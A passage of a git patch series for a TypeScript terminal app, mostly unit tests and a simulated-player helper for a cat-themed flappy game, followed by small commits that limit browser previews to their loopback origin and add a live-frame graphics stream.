passed'); + } finally { rmSync(dir, {recursive: true, force: true}); } +}); + +test('restart: a new game is a fresh course, start state and score; another seed is another course', () => { + const a = make({seed: 3}); const b = make({seed: 3}); const c = make({seed: 4}); + assert.deepEqual(a.world.course.obstacles, b.world.course.obstacles); + assert.notDeepEqual(a.world.course.obstacles.map(o => o.gapTop), c.world.course.obstacles.map(o => o.gapTop)); + a.game.key(SPACE); + crash(a.game); + const again = make({seed: 5, record: a.record()}); + assert.equal(again.game.status, 'ready'); + assert.equal(again.world.score, 0); + assert.equal(again.world.course.obstacles[0]!.id, 1); + assert.equal(again.world.x, 0); + assert.equal(again.game.result, undefined); +}); + +test('the course and the physics do not depend on the canvas size or the render rate', () => { + const small = make({columns: 40, rows: 24, seed: 8}); const big = make({columns: 160, rows: 24, seed: 8}); + small.game.key(SPACE); big.game.key(SPACE); + autopilot(small.game, small.world, 600); autopilot(big.game, big.world, 600); + assert.equal(small.world.y, big.world.y); + assert.deepEqual(small.world.course.obstacles, big.world.course.obstacles); + const fast = make({seed: 8}); const slow = make({seed: 8}); + fast.game.key(SPACE); slow.game.key(SPACE); + for (let i = 0; i < 100; i += 1) { fast.game.step(1000 / 60); slow.game.step(1000 / 60); fast.draw(0.1); slow.draw(0.9); slow.game.animate(500); } + assert.equal(fast.world.y, slow.world.y); +}); + +test('the cat poses are Vespyr: ears, eyes, whiskers, four legs and a tail from catPixels(), wings added', () => { + const idle = catPixels('idle'); + const base = (look: Parameters[0]) => catRows(look); + const look = {wing: 'mid', legs: 'dangle', tail: 'curled', blink: false, twitch: false, hit: false} as const; + const rows = base(look); + assert.equal(rows.length, idle.length); + assert.ok(rows.every(row => row.length === 14)); + assert.equal(rows[0]!.slice(0, 6), idle[0]!.slice(0, 6), 'ears'); + assert.equal(rows[2]!.slice(1, 6), idle[2]!.slice(1, 6), 'eyes'); + assert.equal([...rows[2]!, ...rows[3]!].filter(char => char === 'K').length, 2, 'whiskers'); + assert.equal(rows[7]!.replace(/\./gu, '').length, 4, 'four legs hang when falling'); + assert.ok(rows.join('').includes('W') && rows.join('').includes('V'), 'near and far wing'); + for (const wing of ['up', 'mid', 'down'] as const) for (const tail of ['streaming', 'curled', 'level', 'trailing'] as const) { + const pose = base({...look, wing, tail}); + assert.ok(pose.join('').includes('T'), 'a tail in every pose'); + assert.ok(pose.join('').includes('W')); + } + assert.notDeepEqual(base({...look, wing: 'up'}), base({...look, wing: 'down'}), 'the wing cycle changes the sprite'); + assert.notDeepEqual(base({...look, tail: 'streaming'}), base({...look, tail: 'trailing'}), 'the tail follows the motion'); + assert.ok(!base({...look, blink: true}).join('').includes('E'), 'a blink closes the eyes'); + assert.notEqual(base({...look, twitch: true})[0], base(look)[0], 'ear twitch'); +}); + +test('wings and tail animate from flaps and motion in the rendered game', () => { + const frames = new Set(); + const {game, world, draw} = make(); + game.key(SPACE); + for (let i = 0; i < 90; i += 1) { + if (i % 25 === 0) game.key(SPACE); + game.animate(16.7); game.step(1000 / 60); + if (!world.alive) break; + frames.add(draw().slice(Math.max(0, Math.floor(world.y / 2) - 1), Math.floor(world.y / 2) + 8).join('\n')); + } + assert.ok(frames.size > 5, `${frames.size} distinct cat frames`); +}); + +test('resize: any canvas from 20x8 to 200x60 draws without throwing, every plain row within width, with a note when too small', () => { + const sizes = [[20, 8], [29, 16], [30, 15], [30, 16], [40, 17], [60, 20], [80, 24], [120, 40], [200, 60], [200, 8], [20, 60]]; + for (const [columns, rows] of sizes) { + const {game, canvas, draw} = make({columns: columns!, rows: rows!}); + for (const phase of ['ready', 'playing', 'over'] as const) { + if (phase === 'playing') game.key(SPACE); + if (phase === 'over') crash(game); + for (let i = 0; i < 6 && game.status === 'playing'; i += 1) { game.animate(16.7); game.step(1000 / 60); } + const lines = draw(); + assert.equal(lines.length, rows); + for (const line of lines) assert.ok(displayWidth(line) <= columns!, `${columns}x${rows}: ${line}`); + assert.ok(lines.join('').trim().length > 0); + if (columns! < MIN_COLUMNS || rows! < MIN_ROWS) assert.match(lines.join('\n'), /Needs at least 30x16/u); + else assert.doesNotMatch(lines.join('\n'), /Needs at least/u); + for (const row of canvas.rows({color: 'truecolor', safe: false})) assert.ok(displayWidth(row.replace(/\u001b\[[0-9;]*m/gu, '')) <= columns!); + } + } +}); + +test('live resizing keeps the run going and the canvas sized to the new playfield', () => { + const {game, world, context} = make({columns: 80, rows: 24}); + game.key(SPACE); + autopilot(game, world, 120); + const y = world.y; + const sizes = [[40, 18], [120, 50], [30, 16], [20, 8], [80, 24]]; + for (const [columns, rows] of sizes) { + game.resize({columns: columns!, rows: rows!}); + const canvas = new Canvas(columns!, rows!); + game.render(canvas, 0.5, palette); + for (const line of canvas.plain()) assert.ok(displayWidth(line) <= columns!); + } + assert.equal(world.y, y, 'resizing never moves the cat in the world'); + void context; + const geo = geometry(200, 60, 56); + assert.equal(geo.scale, 1); + assert.ok(geo.top % 2 === 0 && geo.groundY % 2 === 0); + assert.ok(geometry(30, 16, 56).scale < 1, 'a world taller than a shrunken canvas is compressed, not clipped'); + assert.equal(worldHeightFor(16), 26); + assert.equal(worldHeightFor(100), 56); +}); + +test('NO_COLOR and Safe Glyphs: no escapes without color, ASCII only when safe, obstacles distinct from the cat and ground', () => { + const none = make({color: 'none'}); + none.game.key(SPACE); + autopilot(none.game, none.world, 200, () => none.world.course.obstacles[0]!.x - none.world.x < 20); + none.draw(); + assert.equal(none.canvas.rows({color: 'none', safe: false}).some(row => /\u001b\[[34]8;/u.test(row)), false, 'no color escapes at all'); + const plain = none.canvas.plain().join('\n'); + assert.match(plain, /█/u, 'the cat and the lips are solid'); + assert.match(plain, /[▀▄]/u, 'the obstacle fill is a dotted pattern, not another solid block'); + assert.match(plain, /▒/u, 'the ground has its own texture'); + const catRowsText = none.canvas.plain().slice(0, 23).map(line => line.slice(0, 20)); + assert.ok(catRowsText.some(line => /[█▀▄]/u.test(line)), 'the cat is drawn'); + const safe = make({color: 'none', safe: true}); + safe.game.key(SPACE); + autopilot(safe.game, safe.world, 200, () => safe.world.course.obstacles[0]!.x - safe.world.x < 20); + safe.draw(); + for (const row of safe.canvas.plain({color: 'none', safe: true})) assert.ok(/^[\x20-\x7e]*$/u.test(row), row); + const colored = make({color: 'truecolor', safe: true}); + colored.draw(); + for (const row of colored.canvas.plain({color: 'none', safe: true})) assert.ok(/^[\x20-\x7e]*$/u.test(row)); + // Truecolor keeps the backdrop; plain drops it (so the pixels can be told apart). + const rich = make({color: 'truecolor'}); + rich.draw(); + const row = 12; + const skyBackgrounds = new Set(Array.from({length: 20}, (_, x) => JSON.stringify(rich.canvas.cell(x, row)?.bg))); + assert.ok(rich.canvas.rows().join('').includes('\u001b[')); + assert.ok(skyBackgrounds.size >= 1); +}); + +test('reduced motion: no shake, no flash, no fade, no sparkles, no popups, no trail; the run still ends clearly and sooner', () => { + const particles = new ParticleSystem(createRng(1), 140, 'normal'); + const calm = make({reduced: true, particles}); + calm.game.key(SPACE); + const pixelsBefore = calm.draw(); + autopilot(calm.game, calm.world, 100000, () => calm.world.score >= 10); + assert.equal(particles.count, 0, 'nothing decorative, not even the milestone'); + let held = 0; + while (calm.world.alive) calm.game.step(1000 / 60); + while (calm.game.status === 'playing') { calm.game.step(1000 / 60); held += 1; } + assert.ok(held <= 10, `${held} steps`); + assert.equal(particles.count, 0); + const sky = (instance: ReturnType) => { instance.draw(); return JSON.stringify(instance.canvas.cell(2, 6)?.bg); }; + const full = make({reduced: false}); + full.game.key(SPACE); + const livelySky = sky(full); + crash(full.game); + full.game.step(1000 / 60); + assert.notEqual(sky(full), livelySky, 'a normal run fades toward dusk'); + const stillCalm = make({reduced: true}); + stillCalm.game.key(SPACE); + while (stillCalm.world.alive) stillCalm.game.step(1000 / 60); + const justHit = sky(stillCalm); + crash(stillCalm.game); + assert.equal(stillCalm.game.status, 'over'); + assert.equal(sky(stillCalm), justHit, 'reduced motion never tints the scene'); + assert.ok(pixelsBefore.length > 0); +}); + +test('effects off: no particles, trails or popups at all, but the game plays and ends the same', () => { + const particles = new ParticleSystem(createRng(1), 140, 'off'); + const off = make({effects: 'off', particles}); + off.game.key(SPACE); + autopilot(off.game, off.world, 100000, () => off.world.score >= 10); + assert.equal(particles.count, 0); + crash(off.game); + assert.equal(off.game.status, 'over'); + assert.equal(particles.count, 0); + const rich = make({effects: 'rich'}); + rich.game.key(SPACE); + autopilot(rich.game, rich.world, 300); + rich.draw(); +}); + +test('game over: the world stays frozen with the hit pose and the scene fades toward dusk over about 400 ms', () => { + const {game, world, draw, canvas} = make(); + game.key(SPACE); + draw(); + const start = JSON.stringify(canvas.cell(2, 6)?.bg); + while (world.alive) game.step(1000 / 60); + const fades: string[] = []; + while (game.status === 'playing') { game.step(1000 / 60); draw(); fades.push(JSON.stringify(canvas.cell(2, 6)?.bg)); } + assert.ok(new Set(fades).size > 3, 'a gradual fade, not a cut'); + assert.notEqual(fades.at(-1), start); + const hitRows = draw(); + assert.ok(hitRows.join('').trim().length > 0); + const over = draw(); + assert.deepEqual(draw(), over, 'frozen: the same frame every time'); +}); + +test('dispose releases everything and is safe to repeat', () => { + const {game} = make(); + game.key(SPACE); + game.dispose(); + game.dispose(); + assert.doesNotThrow(() => game.persist()); +}); + +test('inside the arcade session: Space starts, steps arrive at 60 per second, the game over card appears', () => { + const dir = mkdtempSync(join(process.env.TMPDIR ?? '/tmp', 'arcade-flight-session-')); + try { + const env: ArcadeEnvironment = {store: new ArcadeStore({directory: dir}), now: () => 1000, motion: () => ({reduced: false, effects: 'normal'}), color: () => 'none', safeGlyphs: () => false, seed: () => 7}; + const session = new ArcadeSession(env, [flightGame], {columns: 90, rows: 28}, flightGame); + const frame = session.render(); + assert.ok(frame.rows.some(row => /Vespyr Flight/u.test(row))); + session.key(SPACE); + for (let i = 0; i < 400; i += 1) session.frame(1000 / 60); + const after = session.render().rows.join('\n'); + assert.match(after, /Retry|Back to Arcade|Game over|Obstacles passed/iu); + } finally { rmSync(dir, {recursive: true, force: true}); } +}); diff --git a/tests/arcadeFlightPhysics.test.ts b/tests/arcadeFlightPhysics.test.ts new file mode 100644 index 00000000..9fcdbeef --- /dev/null +++ b/tests/arcadeFlightPhysics.test.ts @@ -0,0 +1,282 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {createRng} from '../src/arcade/rng.js'; +import {Course, gapAt} from '../src/arcade/games/flight/course.js'; +import { + CAT_H, CAT_W, centerOf, climbIn, DT, difficultyAt, EDGE, fallIn, FALL_PER_STEP, FLAP_CLIMB, FLAP_COOLDOWN, FLAP_V, GAP_MIN, GRAVITY, minFree, minGap, + minSpacing, motion, OB_W, pairReachable, RAMP_PX, REACT_STEPS, shiftLimit, SPEED_MAX, SPEED_START, speedAt, TERMINAL_V, +} from '../src/arcade/games/flight/physics.js'; +import {FlightWorld, hitTest, stateHash} from '../src/arcade/games/flight/world.js'; +import type {Obstacle} from '../src/arcade/games/flight/course.js'; +import {LATE_STEPS, playBot} from './support/flightBot.js'; + +const emptyWorld = (height = 400): FlightWorld => { + const world = new FlightWorld(createRng(1).fork('course'), height); + world.course.obstacles.length = 0; + (world.course as unknown as {lastX: number}).lastX = 1e9; + world.y = height / 2; world.prevY = world.y; + return world; +}; +const pipe = (x: number, gapTop: number, gapBottom: number): Obstacle => ({id: 1, style: 'books', x, gapTop, gapBottom, scored: false}); + +test('flap sets an upward speed, it does not move the cat; gravity then pulls it back down', () => { + const world = emptyWorld(); + const y = world.y; + assert.equal(world.flap(), true); + assert.equal(world.y, y, 'the flap itself changes the speed, not the position'); + assert.equal(world.vy, -FLAP_V); + world.step(); + assert.ok(Math.abs(world.vy - (-FLAP_V + GRAVITY * DT)) < 1e-12); + assert.ok(Math.abs(world.y - (y + world.vy * DT)) < 1e-12); + let top = world.y; + while (world.vy < 0) { world.step(); top = Math.min(top, world.y); } + assert.ok(Math.abs((y - top) - FLAP_CLIMB) < 1e-9, 'the measured climb is the FLAP_CLIMB the fairness proofs use'); + assert.ok(FLAP_CLIMB > 6 && FLAP_CLIMB < 9); + for (let i = 0; i < 40; i += 1) world.step(); + assert.ok(world.y > top, 'and it falls again'); +}); + +test('gravity accelerates smoothly (equal increments) up to a terminal speed that is never exceeded', () => { + let state = {y: 0, vy: 0}; + const speeds: number[] = []; + for (let i = 0; i < 300; i += 1) { state = motion(state.y, state.vy); speeds.push(state.vy); } + assert.ok(Math.abs(speeds[0]! - GRAVITY * DT) < 1e-12); + assert.ok(Math.abs(speeds[9]! - 10 * GRAVITY * DT) < 1e-9, 'speed grows linearly while under the cap'); + assert.ok(speeds.every(speed => speed <= TERMINAL_V)); + assert.equal(speeds.at(-1), TERMINAL_V); + assert.ok(speeds.every((speed, index) => index === 0 || speed >= speeds[index - 1]!), 'monotonic: no jolts'); + const reached = speeds.findIndex(speed => speed === TERMINAL_V); + assert.ok(reached > 10 && reached < 100); + assert.ok(Math.abs(FALL_PER_STEP - TERMINAL_V * DT) < 1e-12); +}); + +test('flaps inside a wingbeat are ignored; spamming the key cannot climb faster than the proof assumes', () => { + const world = emptyWorld(); + assert.equal(world.flap(), true); + for (let i = 0; i < FLAP_COOLDOWN - 1; i += 1) { world.step(); assert.equal(world.flap(), false); } + world.step(); + assert.equal(world.flap(), true, 'accepted again once the wingbeat is over'); + const spammer = emptyWorld(); + const start = spammer.y; + for (let i = 0; i < 90; i += 1) { spammer.flap(); spammer.step(); } + assert.ok(start - spammer.y <= climbIn(90) + 1e-9, 'the most any presses can climb is climbIn()'); + assert.ok(Math.abs(climbIn(90) - (start - spammer.y)) < 1e-9, 'and pressing at every chance reaches exactly that'); +}); + +test('the fairness quantities come from the real step', () => { + // climbIn: flap as early as allowed. fallIn: no flap, starting just after one. + const world = emptyWorld(); + const y = world.y; + for (let i = 0; i < 50; i += 1) { world.flap(); world.step(); } + assert.ok(Math.abs(climbIn(50) - (y - world.y)) < 1e-9); + const falling = emptyWorld(); + falling.flap(); + const fy = falling.y; + for (let i = 0; i < 50; i += 1) falling.step(); + assert.ok(Math.abs(fallIn(50) - (falling.y - fy)) < 1e-9); + for (let n = 1; n < 120; n += 1) { assert.ok(climbIn(n) >= climbIn(n - 1)) ; if (n > 30) assert.ok(fallIn(n) >= fallIn(n - 1)); } + assert.ok(GAP_MIN >= CAT_H + FLAP_CLIMB + FALL_PER_STEP + 1, 'the smallest gap has room for one flap arc, a step of overshoot and a pixel'); + for (const speed of [SPEED_START, 60, SPEED_MAX]) assert.equal(minGap(speed), GAP_MIN); +}); + +test('shift limits: more time allows more, a wide start gap allows less, and minimum spacing is a real distance', () => { + for (const speed of [SPEED_START, 60, SPEED_MAX]) { + let last = -1; + for (let steps = 20; steps <= 140; steps += 10) { + const free = steps * speed * DT; + const up = shiftLimit('up', speed, free, GAP_MIN); + assert.ok(up >= last, 'monotonic in the time available'); + last = up; + assert.ok(shiftLimit('up', speed, free, 28) <= up); + assert.ok(shiftLimit('down', speed, free, GAP_MIN) >= 0); + } + assert.equal(shiftLimit('up', speed, 0, GAP_MIN), 0); + assert.ok(Math.abs(minFree(speed) - (REACT_STEPS + 16) * speed * DT) < 1e-9); + assert.equal(minSpacing(speed), OB_W + CAT_W + minFree(speed)); + } + // The pair test itself, on a hand-made pair at exactly the limit and one pixel beyond. + const speed = SPEED_MAX; + const free = 60 * speed * DT; + const a = {x: 0, gapTop: 10, gapBottom: 10 + GAP_MIN}; + const limit = shiftLimit('up', speed, free, GAP_MIN); + const at = (shift: number) => ({x: OB_W + CAT_W + free, gapTop: 10 + 0 - shift + 0, gapBottom: 10 - shift + GAP_MIN}); + assert.equal(pairReachable(a, at(limit), speed), true); + assert.equal(pairReachable(a, at(limit + 1), speed), false); + assert.equal(pairReachable(a, {...at(0), x: OB_W + CAT_W + minFree(speed) - 1}, speed), false, 'too close'); + assert.equal(pairReachable(a, {...at(0), gapBottom: at(0).gapBottom - 1}, speed), false, 'gap below the minimum'); +}); + +test('difficulty ramps monotonically and is capped: speed, gap height and the shift variation', () => { + let previousSpeed = 0; let previousGap = Infinity; let previousDifficulty = -1; + for (let distance = -100; distance <= RAMP_PX * 3; distance += 50) { + const speed = speedAt(distance); const gap = gapAt(distance, 36); const difficulty = difficultyAt(distance); + assert.ok(speed >= previousSpeed && gap <= previousGap && difficulty >= previousDifficulty); + assert.ok(speed >= SPEED_START && speed <= SPEED_MAX && gap >= GAP_MIN); + [previousSpeed, previousGap, previousDifficulty] = [speed, gap, difficulty]; + } + assert.equal(speedAt(0), SPEED_START); + assert.equal(speedAt(RAMP_PX), SPEED_MAX); + assert.equal(speedAt(RAMP_PX * 50), SPEED_MAX, 'capped'); + assert.equal(gapAt(RAMP_PX * 50, 36), GAP_MIN); + assert.ok(gapAt(0, 36) > GAP_MIN + 4); + // Gap center movement grows with difficulty (mean absolute shift early vs at the cap, over many seeds). + const meanShift = (start: number): number => { + let total = 0; let count = 0; + for (let seed = 1; seed <= 30; seed += 1) { + const course = new Course(createRng(seed), 100, start); course.ensure(start + 4000); + const list = course.obstacles; + for (let i = 1; i < list.length; i += 1) { total += Math.abs(centerOf(list[i]!) - centerOf(list[i - 1]!)); count += 1; } + } + return total / count; + }; + assert.ok(meanShift(RAMP_PX * 2) > meanShift(0) * 1.3, `${meanShift(RAMP_PX * 2)} vs ${meanShift(0)}`); + // Spacing in time shrinks as difficulty rises. + const meanFreeTime = (start: number): number => { + let total = 0; let count = 0; + const course = new Course(createRng(4), 48, start); course.ensure(start + 6000); + for (let i = 1; i < course.obstacles.length; i += 1) { const a = course.obstacles[i - 1]!; const b = course.obstacles[i]!; total += (b.x - a.x - OB_W - CAT_W) / speedAt(b.x); count += 1; } + return total / count; + }; + assert.ok(meanFreeTime(RAMP_PX * 2) < meanFreeTime(0)); +}); + +test('collision boundaries: touching is clear, the smallest overlap is a hit (pipes, ceiling, ground)', () => { + const height = 40; + const obstacles = [pipe(100, 10, 10 + 16)]; + const x = 100 + 1; // overlapping horizontally + assert.equal(hitTest(x, 10, height, obstacles), undefined, 'hitbox top exactly on the gap top'); + assert.equal(hitTest(x, 10 - 0.001, height, obstacles), 'pipe'); + assert.equal(hitTest(x, 26 - CAT_H, height, obstacles), undefined, 'hitbox bottom exactly on the gap bottom'); + assert.equal(hitTest(x, 26 - CAT_H + 0.001, height, obstacles), 'pipe'); + assert.equal(hitTest(100 - CAT_W, 0.5, height, obstacles), undefined, 'right edge exactly at the pipe: just touching'); + assert.equal(hitTest(100 - CAT_W + 0.001, 0.5, height, obstacles), 'pipe', 'a sliver of overlap'); + assert.equal(hitTest(100 + OB_W, 0.5, height, obstacles), undefined, 'left edge exactly at the far side: just clear'); + assert.equal(hitTest(100 + OB_W - 0.001, 0.5, height, obstacles), 'pipe'); + assert.equal(hitTest(x, 0, height, [pipe(100, 0, 20)]), undefined, 'ceiling exactly touched is clear'); + assert.equal(hitTest(0, 0, height, []), undefined); + assert.equal(hitTest(0, -0.001, height, []), 'ceiling'); + assert.equal(hitTest(0, height - CAT_H, height, []), undefined, 'standing on the ground exactly'); + assert.equal(hitTest(0, height - CAT_H + 0.001, height, []), 'ground'); +}); + +test('a hit ends the run in the world: it freezes and says what was hit', () => { + const world = emptyWorld(60); + world.y = 60 - CAT_H - 0.5; world.prevY = world.y; + const outcome = world.step(); + assert.equal(outcome.hit, undefined); + while (world.alive) world.step(); + assert.equal(world.hitKind, 'ground'); + const hash = stateHash(world); + world.step(); world.flap(); + assert.equal(stateHash(world), hash, 'a finished world does not change'); + const ceiling = emptyWorld(60); + ceiling.y = 1; ceiling.prevY = 1; + for (let i = 0; i < 100 && ceiling.alive; i += 1) { ceiling.flap(); ceiling.step(); } + assert.equal(ceiling.hitKind, 'ceiling'); +}); + +test('scoring: +1 once per obstacle, when the cat has fully passed it, and never for one it hit', () => { + const world = emptyWorld(100); + world.course.obstacles.push(pipe(world.x + 30, 20, 80)); + world.y = 40; world.prevY = 40; + let scoredAt = -1; + for (let i = 0; i < 400 && world.alive; i += 1) { + if (world.y + world.vy * DT > 70) world.flap(); + const before = world.score; + world.step(); + if (world.score > before && scoredAt < 0) scoredAt = i; + if (scoredAt < 0) assert.equal(world.score, 0); + } + assert.equal(world.score, 1, 'exactly one point, however long the cat flies on'); + assert.ok(world.course.obstacles[0]!.scored); + const crash = emptyWorld(100); + crash.course.obstacles.push(pipe(crash.x + 20, 60, 90)); + crash.y = 10; crash.prevY = 10; + while (crash.alive) crash.step(); + assert.equal(crash.score, 0); + assert.equal(crash.hitKind, 'pipe'); + // Over a long run each obstacle counts once: the score equals the number of obstacles behind the cat. + const run = playBot(2, 12000, 'optimal'); + const passed = run.world.course.obstacles.filter(o => o.scored).length; + assert.ok(run.world.score >= passed, 'trimmed obstacles were counted too'); + const behind = run.world.course.obstacles.filter(o => o.x + OB_W <= run.world.x); + assert.ok(behind.every(o => o.scored) && behind.length === passed, 'every obstacle behind the cat is scored, none ahead is'); + const newest = Math.max(...run.world.course.obstacles.map(o => o.id)); + assert.equal(run.world.score, newest - (run.world.course.obstacles.length - passed), 'one point per id, no gaps or repeats'); + const ids = new Set(run.world.course.obstacles.map(o => o.id)); + assert.equal(ids.size, run.world.course.obstacles.length, 'ids are unique'); +}); + +test('the generator only emits reachable pairs: thousands of obstacles, many seeds, every speed and height', () => { + let pairs = 0; let widest = 0; + for (const height of [26, 28, 36, 48, 56, 100]) { + for (const start of [0, 800, 1750, 3500, 5200, RAMP_PX, RAMP_PX * 3]) { + for (let seed = 1; seed <= 14; seed += 1) { + const course = new Course(createRng(seed * 7919), height, start); + course.ensure(start + 5000); + const list = course.obstacles; + for (let i = 0; i < list.length; i += 1) { + const b = list[i]!; + assert.ok(b.gapBottom - b.gapTop >= GAP_MIN, 'never below the minimum gap'); + assert.ok(Number.isInteger(b.gapTop) && Number.isInteger(b.gapBottom)); + assert.ok(b.gapTop >= EDGE && b.gapBottom <= height - EDGE, `inside the world: ${b.gapTop}..${b.gapBottom} of ${height}`); + if (i === 0) continue; + const a = list[i - 1]!; + assert.ok(b.x - a.x >= minSpacing(speedAt(b.x)) - 1e-9, 'minimum spacing'); + assert.ok(pairReachable(a, b, speedAt(b.x)), `pair ${i} unreachable at seed ${seed}, start ${start}, height ${height}`); + pairs += 1; widest = Math.max(widest, Math.abs(centerOf(b) - centerOf(a))); + } + } + } + } + assert.ok(pairs > 5000, `${pairs} pairs`); + assert.ok(widest >= 8, 'and the course does move around'); +}); + +test('a simulated player survives 20000 steps at the hardest speed and gap, on several seeds and world heights', () => { + for (const height of [28, 36, 56, 100]) { + for (const seed of [1, 2, 3, 4, 5, 6]) { + const run = playBot(seed, 20000, 'optimal', {height, start: RAMP_PX * 3}); + assert.equal(run.survived, true, `seed ${seed}, height ${height}: hit ${String(run.hit)} after ${run.steps} steps with score ${run.score}`); + assert.ok(run.flaps > 200 && run.score > 150, 'and it really flew'); + assert.equal(speedAt(run.world.x), SPEED_MAX); + } + } + for (const seed of [11, 12, 13]) assert.equal(playBot(seed, 20000, 'optimal').survived, true, 'from the very start too'); +}); + +test('a late reaction (as slow as the generator allows) also survives; a hopelessly late one does not always', () => { + assert.equal(LATE_STEPS, REACT_STEPS); + for (const height of [28, 36, 56]) for (const seed of [1, 2, 3, 4, 5]) { + const run = playBot(seed, 20000, 'late', {height, start: RAMP_PX * 3}); + assert.equal(run.survived, true, `late bot, seed ${seed}, height ${height}: ${String(run.hit)} at ${run.steps}`); + assert.equal(playBot(seed, 8000, 'late', {height}).survived, true); + } + const lost = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10].filter(seed => !playBot(seed, 20000, 'very-late', {height: 36, start: RAMP_PX * 3}).survived); + assert.ok(lost.length > 0, 'the margin is real: a 0.67 s reaction does fail somewhere'); +}); + +test('players who do nothing, or only mash the key, die', () => { + for (const seed of [1, 2, 3]) { + const idle = playBot(seed, 5000, 'idle'); + assert.equal(idle.survived, false); assert.equal(idle.hit, 'ground'); assert.ok(idle.steps < 60); assert.equal(idle.score, 0); + const spam = playBot(seed, 5000, 'spam'); + assert.equal(spam.survived, false); assert.equal(spam.hit, 'ceiling'); + } +}); + +test('determinism: the same seed and inputs give the same state hash at every step; another seed does not', () => { + const hashes = (seed: number): string[] => { + const world = new FlightWorld(createRng(seed).fork('course'), 36); + const out: string[] = []; + for (let i = 0; i < 1500 && world.alive; i += 1) { if (i % 17 === 0 || world.y > 28) world.flap(); world.step(); if (i % 50 === 0) out.push(stateHash(world)); } + return out; + }; + assert.deepEqual(hashes(9), hashes(9)); + assert.notDeepEqual(hashes(9), hashes(10)); + const a = new Course(createRng(5), 36, 0); const b = new Course(createRng(5), 36, 0); + a.ensure(3000); b.ensure(6000); + assert.deepEqual(a.obstacles, b.obstacles.slice(0, a.obstacles.length), 'how far ahead the course is made never changes it'); + const tall = new Course(createRng(5), 36, 0); tall.ensure(3000); + assert.deepEqual(a.obstacles, tall.obstacles); +}); diff --git a/tests/support/flightBot.ts b/tests/support/flightBot.ts new file mode 100644 index 00000000..b95c1c6e --- /dev/null +++ b/tests/support/flightBot.ts @@ -0,0 +1,35 @@ +import {createRng} from '../../src/arcade/rng.js'; +import {CAT_H, motion} from '../../src/arcade/games/flight/physics.js'; +import {OB_W} from '../../src/arcade/games/flight/physics.js'; +import {FlightWorld, type HitKind} from '../../src/arcade/games/flight/world.js'; + +/** + * A small player for Vespyr Flight that plays the real simulation with the real physics. Each step it looks at the + * obstacle it is under or about to meet, takes the lower edge of its gap as a floor, and flaps when its predicted next + * position (no flap) would cross that floor: the "hover on the lower edge" strategy a careful person uses. `late` + * keeps the previous obstacle's floor for 12 extra steps (0.2 s) after clearing it: a slow reaction to the next gap. + */ +export type Mode = 'optimal' | 'late' | 'very-late' | 'idle' | 'spam'; + +export interface BotResult { survived: boolean; steps: number; score: number; flaps: number; hit: HitKind | undefined; world: FlightWorld } + +/** `late` reacts as slowly as the generator allows for (REACT_STEPS); `very-late` is far beyond it, to show the margin is real. */ +export const LATE_STEPS = 12; +export const VERY_LATE_STEPS = 40; + +export function playBot(seed: number, maxSteps: number, mode: Mode, options: {height?: number; start?: number} = {}): BotResult { + const height = options.height ?? 36; + const world = new FlightWorld(createRng(seed).fork('course'), height, options.start ?? 0); + let flaps = 0; + for (let step = 0; step < maxSteps && world.alive; step += 1) { + if (mode === 'spam') { if (world.flap()) flaps += 1; } + else if (mode !== 'idle') { + const late = mode === 'late' ? LATE_STEPS * world.speed / 60 : mode === 'very-late' ? VERY_LATE_STEPS * world.speed / 60 : 0; + const next = world.course.obstacles.find(o => o.x + OB_W > world.x - late); + const floor = (next ? next.gapBottom : height) - CAT_H - 0.2; + if (motion(world.y, world.vy).y > floor && world.flap()) flaps += 1; + } + world.step(); + } + return {survived: world.alive, steps: world.steps, score: world.score, flaps, hit: world.hitKind, world}; +} From 2cb4502d1cb5fdf17ac14d4f64f3c7953c7b5bc8 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Tue, 20 Oct 2026 14:05:26 +0530 Subject: [PATCH 126/157] Browser: previews are local-only in the interface --- src/browser/types.ts | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/src/browser/types.ts b/src/browser/types.ts index e3a08752..ceaaf8b6 100644 --- a/src/browser/types.ts +++ b/src/browser/types.ts @@ -28,13 +28,14 @@ export interface OpenOptions { viewport: Viewport; /** `web` only: the address to load. Previews load their `PreviewHandle.url`. */ url?: string; - /** Scripts run. `web` pages default to true; `preview` pages to false and need an explicit trust decision. */ + /** + * Scripts run. `web` pages default to true; `preview` pages to false and need an explicit trust decision. A preview can only ever + * reach its own loopback origin (every other request is refused and reported as a `blocked` event), whatever this says. + */ scripts?: boolean; /** Emulate prefers-color-scheme / prefers-reduced-motion so a page follows NMSh's theme and motion settings. */ colorScheme?: 'light' | 'dark'; reducedMotion?: boolean; - /** `preview` only: remote resources may be fetched (default false: only the preview origin is reachable). */ - allowRemote?: boolean; } /** One rendered frame, PNG-encoded, at `viewport.width * scale` x `viewport.height * scale` pixels. */ From 2e7672f985966b3ba6e3f5c2bb087d872e96c755 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Tue, 20 Oct 2026 14:10:18 +0530 Subject: [PATCH 127/157] Graphics: a stream for live frames, opened from the service --- src/graphics/service.ts | 17 +++ src/graphics/stream.ts | 246 ++++++++++++++++++++++++++++++++++++++++ 2 files changed, 263 insertions(+) create mode 100644 src/graphics/stream.ts diff --git a/src/graphics/service.ts b/src/graphics/service.ts index c5848f27..47de641c 100644 --- a/src/graphics/service.ts +++ b/src/graphics/service.ts @@ -10,6 +10,7 @@ import {encodePng} from './pngEncode.js'; import {ImageError, type ImageInfo, type Raster} from './raster.js'; import {fitCells, scaleBox} from './scale.js'; import {encodeSixel} from './sixel.js'; +import {FrameStream} from './stream.js'; import {renderCells} from './unicode.js'; /** @@ -318,6 +319,22 @@ export class GraphicsService { this.uploadSize = 0; } + /** + * A stream for live frames (a browser page): it uploads through this service's host and id allocator and deletes its own + * pictures on `dispose()`. `owner` is only for the caller's bookkeeping; the stream owns what it uploads. After `releaseAll` + * or `forgetUploads` a stream's pictures are gone: call `stream.forget()` so its next frame uploads again. + */ + openStream(owner: unknown): FrameStream { + void owner; + return new FrameStream({ + decision: () => this.host.decision(), + send: data => this.host.send(data), + allocateId: () => this.allocateId(), + color: () => this.host.color(), + safeGlyphs: () => this.host.safeGlyphs(), + }); + } + clearCache(): void { this.cache.clear(); this.cacheSize = 0; } stats(): {cached: number; cacheBytes: number; uploads: number; uploadBytes: number} { diff --git a/src/graphics/stream.ts b/src/graphics/stream.ts new file mode 100644 index 00000000..a4f05b4a --- /dev/null +++ b/src/graphics/stream.ts @@ -0,0 